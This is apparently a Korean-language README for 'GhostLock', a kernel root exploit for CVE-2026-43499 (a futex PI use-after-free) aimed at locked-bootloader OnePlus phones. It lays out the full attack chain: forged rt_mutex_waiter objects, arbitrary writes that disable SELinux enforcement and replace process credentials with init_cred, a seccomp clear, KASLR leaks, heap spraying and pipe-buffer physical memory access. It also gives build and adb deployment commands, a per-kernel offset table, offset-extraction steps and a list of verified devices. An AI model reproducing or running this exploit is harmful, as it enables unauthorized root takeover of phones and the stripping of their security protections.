
(CVE-2026-43499)부트로더가 잠금 해제되지 않은 OnePlus 기기용 커널 취약점 익스플로잇 프로그램.
잠긴 부트로더 OnePlus 기기를 대상으로 하는 커널 익스플로잇. CVE-2026-43499을 사용하여 부트로더 잠금 해제나 boot.img 수정 없이 루트 권한을 얻습니다.
승인된 보안 연구 및 교육 목적으로만 사용하세요.
| 항목 | 세부 정보 |
|---|---|
| CVE | CVE-2026-43499 |
| 유형 | Futex PI(우선순위 상속) Use-After-Free |
| 범위 | Linux kernel 2.6.39 ~ 7.1 |
| 수정 버전 | Mainline 7.1(커밋 3bfdc63936dd) |
| Android 상태 | GKI 6.12.x 여전히 취약함 |
pselect6 시스템 콜은 fd_set을 커널 스택에 복사합니다. futex PI 웨이터 메커니즘과 결합되면, 해제된 스택 프레임이 rt_mutex_waiter 구조체로 재할당될 수 있습니다. PI 체인 순회 중 rb-tree 리밸런싱이 제어된 데이터를 임의의 커널 주소에 씁니다.
futex PI UAF (CVE-2026-43499)
├─ Forge rt_mutex_waiter object
├─ Control kernel stack via pselect/select fd_set layout
├─ Trigger rt_mutex PI operation for arbitrary write
├─ Write 1: selinux_state.enforcing = 0
└─ Write 2: cred → init_cred (uid=0, full capabilities)
동일한 SoC 제품군, Android 16 또는 커널 6.12.x를 사용하는 다른 OnePlus 기기는 boot.img 오프셋 추출을 통해 적용할 수 있습니다.
GhostLock은 권한 상승을 처리합니다. KernelSU 설치에는 ksud가 필요합니다(KMI별 kernelsu.ko 번들):
| 출처 | 참고 사항 |
|---|---|
| ReSukiSU APK (권장) | ReSukiSU 설치; APK에 libksud.so 번들 포함 |
| CI 릴리스 |
ksud가 없어도 익스플로잇은 uid=0 루트 셸을 얻지만, KernelSU는 설치되지 않으며
su는 유지되지 않습니다.
ANDROID_NDK_HOME 또는 ANDROID_NDK_ROOT 설정# Default (API 35)
make
# Specify API level
make API=34
# Specify NDK path
NDK=/path/to/android-ndk make
ghostlock — 정적으로 링크된 ARM64 ELF 실행 파일.
# 1. Enable ADB TCP mode
adb tcpip 5555
# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
첫 성공 후
resetprop이 자동으로persist.adb.tcp.port=5555를 설정하므로 이후 재부팅 시 완전 자동 실행이 가능합니다.
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop로 ADB TCP 5555 활성화127.0.0.1:5555에 연결/data/local/tmp/a/e --write1
오프셋은 src/devices/offsets.h 조회 테이블에 저장되며 uname -r을 키로 사용합니다. 프로그램은 시작 시 자동으로 매칭하며, 알 수 없는 커널은 거부됩니다.
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinel */
};
커널 포인터가 제한(kptr_restrict)되어 있을 때, 커널 주소로 덮어쓴 boot_id를 통해 베이스 주소를 누출합니다:
Read /proc/sys/kernel/random/boot_id
└─ UUID contains nfulnl_logger address
└─ KASLR slide = leaked_addr - image_offset
└─ kaslr_base
ashmem 장치에 접근할 수 있으면 configfs 읽기/쓰기 프리미티브를 사용하여 ashmem fops 테이블에서 함수 포인터를 읽고 KASLR 오프셋을 계산합니다.
order-3(32KB) 페이지에 커널 객체를 위조합니다:
file_operations — ashmem miscdevice fops 포인터 가로채기rt_mutex_waiter — PI 체인 웨이터 노드 시뮬레이션task_struct — PI 순회 중 작업 참조rt_mutex(잠금) — 올바른 waiter/owner 정보SKB(소켓 버퍼) + KernelSnitch를 통해 구현:
mm_struct 주소 누출sendmsg로 커널 힙 채우기KASLR 베이스를 얻은 후 파이프 버퍼를 사용하여 물리 메모리 수준 접근을 수행합니다:
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations
지원: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
pointing to selinux_enforcing - 8
rb-tree rebalance writes 0x00
Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
2. calculate cred field offset
3. child-node PI write → cred = init_cred (uid=0, full caps)
4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)
cred 덮어쓰기 후 capability 역읽기 검증이 수행됩니다.
src/core/miniadb.c — 부트스트랩 모드를 위한 경량 ADB 프로토콜 클라이언트:
1. TCP connect 127.0.0.1:5555
2. A_CNXN → connection request
3. A_AUTH → RSA token challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signed response
6. A_CNXN → connection established
7. A_OPEN "shell:/data/local/tmp/a/e" → full exploit
SHA-1 및 SHA-256 서명 알고리즘을 지원합니다.
ghostlock-oneplus/
├── Makefile # Build configuration (NDK cross-compile)
├── README.md # Documentation
├── src/
│ ├── core/ # Core exploit code
│ │ ├── main.c # Entry point: two-stage write + root shell
│ │ ├── fops.c # FOPS/CFI mode: pselect route, PI write, KASLR leak
│ │ ├── util.c # Utilities: heap spray, KASLR, kernel R/W primitives
│ │ ├── slide.c # SLIDE mode: boot_id KASLR leak + pselect route
│ │ ├── pipe.c # Pipe buffer physical memory R/W (physrw)
│ │ ├── root.c # Cred overwrite, seccomp clear, root child mgmt
│ │ ├── miniadb.c # Built-in ADB client (TCP + RSA auth)
│ │ ├── common.h # Global macros, structs, declarations, constants
│ │ ├── target.h # Target memory layout / struct offsets / KASLR params
│ │ ├── offset.h # Compile-time target config bridge (#include TARGET_CONFIG_H)
│ │ └── kernelsnitch/ # KernelSnitch — mm_struct address leak
│ │ ├── kernelsnitch.h # Core algorithm: futex hash collision + brute-force
│ │ ├── futex_hash.h # Futex hash function
│ │ ├── timeutils.h # CPU timestamp measurement (RDTSC)
│ │ └── utils.h # Helper macros (pr_info / SYSCHK / ASSERT etc.)
│ └── devices/ # Device offset tables
│ ├── offsets.h # Aggregate all device offsets (lookup table + sentinel)
│ ├── ace6t/offsets.h # OnePlus Ace 6T offsets (2 kernel versions)
│ └── op15/offsets.h # OnePlus 15 offsets (1 kernel version)
└── tools/ # Offset extraction toolchain
├── extract_target.py # Extract kallsyms global symbol offsets (28 items)
└── extract_btf.py # Extract BTF struct field offsets (57 items)
대상 기기의 boot.img만 필요합니다 — 루트 권한이나 기기 접근이 필요 없습니다.
# 1. Extract kernel from boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Get kallsyms (root: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
# Or from vmlinux: nm vmlinux > kallsyms.txt
# 3. Extract global symbol offsets
python tools/extract_target.py # 28 offsets, auto-verified
# 4. Extract struct field offsets
python tools/extract_btf.py kernel # 57 offsets, auto-verified
src/devices/<name>/offsets.h 생성 (ace6t/offsets.h 참조)src/devices/offsets.h에 #includesrc/core/target.h의 KIMAGE_TEXT_BASE 및 메모리 레이아웃 업데이트| 항목 | 참고 사항 |
|---|
ADB 셸에서 실행 중인지 확인하세요. 앱 컨텍스트에서는 --bootstrap이 필요합니다.
아직 지원되지 않는 커널 버전입니다. 새 기기 추가를 참조하여 오프셋을 추출하고 다시 빌드하세요.
CORE 매크로)PSELECT_ENTER_DELAY_USEC 타이밍 조정perf_event_open을 차단하는지 확인하세요 (앱 컨텍스트에서 --bootstrap 사용)kaslr_base 유효)ksud가 존재하고 실행 가능한지 확인load_policy 수정)승인된 보안 연구 및 교육 목적으로만 사용하세요.
| 기기 | 코드네임 | SoC | 커널 | 펌웨어 | 상태 |
|---|
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14275539-4k | ColorOS 16.0.2.403 | ✅ 검증됨 |
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14552068-4k | ColorOS 16.0.8.301 | ✅ 검증됨 |
| OnePlus 15 | PLK110 | SM8845 (Snapdragon 8s Elite) | 6.12.23-android16-5-...-ab14541642-4k | — | ✅ 검증됨 |
ReSukiSU CI에서 다운로드 (ksud-aarch64-linux-android.zip) |
| 유형 | 개수 | 추출 |
|---|
| kallsyms 전역 심볼 | 28 | tools/extract_target.py |
| BTF 구조체 필드 | 57 | tools/extract_btf.py |
| 파생 값 | 9 | 자동 계산 |
| 고정 상수 | 12 | 하드코딩 |
| 구조체 | 필드 | 용도 |
|---|
task_struct | 17 | 프로세스 디스크립터, cred, seccomp |
rt_mutex_waiter | 6 | UAF 위조 대상 |
cred | 4 | 자격 증명, capability |
seccomp | 3 | Seccomp 필터 상태 |
pipe_inode_info | 11 | 파이프 버퍼 작업 |
file_operations | 13 | 가짜 fops 테이블 |
mm_struct | 1 | 메모리 디스크립터 소유자 |
| 모듈 | 파일 | 담당 |
|---|
| 진입점 | main.c | CLI 파싱, W1/W2 디스패치, 부트스트랩 흐름 |
| PI 경로 | fops.c / slide.c | pselect/select 스택 레이아웃, futex PI 체인 조작 |
| KASLR | util.c / fops.c / slide.c | 이중 모드 우회: boot_id 누출 + fops 테이블 누출 |
| 힙 스프레이 | util.c | Order-3 페이지 할당, SKB 스프레이, 객체 레이아웃 위조 |
| 물리 읽기/쓰기 | pipe.c | 파이프 버퍼 하이재킹, 임의 물리 메모리 접근 |
| 권한 상승 | root.c | cred 덮어쓰기, capability 검증, seccomp 정리 |
| ADB | miniadb.c | 경량 ADB 프로토콜 클라이언트, RSA 인증 |
| 누출 엔진 | kernelsnitch/ | futex 해시 충돌을 통한 mm_struct 위치 탐색 |
VA_BITS | 48 vs 39 → target.h 메모리 레이아웃 업데이트 |
| 타이밍 | common.h의 PSELECT_* 매개변수 조정 |
| Ashmem | C vs Rust 구현 → extract_target.py 심볼 매칭 업데이트 |
| Secureguard | OnePlus가 아닌 기기는 배포가 단순해질 수 있음 |